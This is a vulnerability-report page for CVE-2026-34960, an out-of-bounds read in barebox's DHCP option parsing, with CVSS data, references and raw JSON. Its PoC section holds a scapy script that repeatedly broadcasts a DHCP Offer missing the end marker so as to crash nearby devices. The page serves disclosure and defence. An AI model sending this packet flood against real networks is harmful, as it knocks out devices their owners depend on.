Security Vulnerability Report
中文
CVE-2026-34960 CVSS 6.5 MEDIUM

CVE-2026-34960

Published: 2026-05-11 22:22:11
Last Modified: 2026-05-11 22:22:11

Description

barebox prior to version 2026.04.0 contains an out-of-bounds read vulnerability in DHCP option parsing within the dhcp_message_type() function that fails to verify the options pointer remains within received packet bounds. An attacker on the same broadcast domain can send a crafted DHCP Offer or ACK packet without a proper 0xff end marker to cause the parser to read past valid packet data and potentially crash the system.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

barebox < 2026.04.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import scapy.all as scapy # Construct a crafted DHCP Offer packet without the 0xff end marker # This is a simplified PoC structure; real implementation requires a valid DHCP transaction context def send_malicious_dhcp(target_mac, interface): # Ethernet frame eth = scapy.Ether(dst="ff:ff:ff:ff:ff:ff", src=scapy.get_if_hwaddr(interface)) # IP layer ip = scapy.IP(src="192.168.1.1", dst="255.255.255.255") # UDP layer (BootP server port 67) udp = scapy.UDP(sport=67, dport=68) # BOOTP layer bootp = scapy.BOOTP(op=2, # BOOTREPLY xid=0x12345678, yiaddr="192.168.1.100", siaddr="192.168.1.1", chaddr=target_mac) # DHCP Options: Message Type (Offer), but omitting the 0xff End marker # Normally options end with 0xff. Removing it triggers the OOB read. options = [ ("message-type", "offer"), ("server-id", "192.168.1.1"), ("subnet-mask", "255.255.255.0"), ("lease-time", 86400) # Note: 'end' option (0xff) is intentionally omitted here ] dhcp = scapy.DHCP(options=options) packet = eth / ip / udp / bootp / dhcp print(f"[*] Sending malicious DHCP packet to {target_mac}...") scapy.sendp(packet, iface=interface, loop=1, verbose=0) # Usage: send_malicious_dhcp("00:11:22:33:44:55", "eth0")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34960", "sourceIdentifier": "[email protected]", "published": "2026-05-11T22:22:10.847", "lastModified": "2026-05-11T22:22:10.847", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "barebox prior to version 2026.04.0 contains an out-of-bounds read vulnerability in DHCP option parsing within the dhcp_message_type() function that fails to verify the options pointer remains within received packet bounds. An attacker on the same broadcast domain can send a crafted DHCP Offer or ACK packet without a proper 0xff end marker to cause the parser to read past valid packet data and potentially crash the system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://github.com/barebox/barebox", "source": "[email protected]"}, {"url": "https://github.com/barebox/barebox/releases/tag/v2026.04.0", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/barebox-out-of-bounds-read-in-dhcp-option-parsing", "source": "[email protected]"}]}}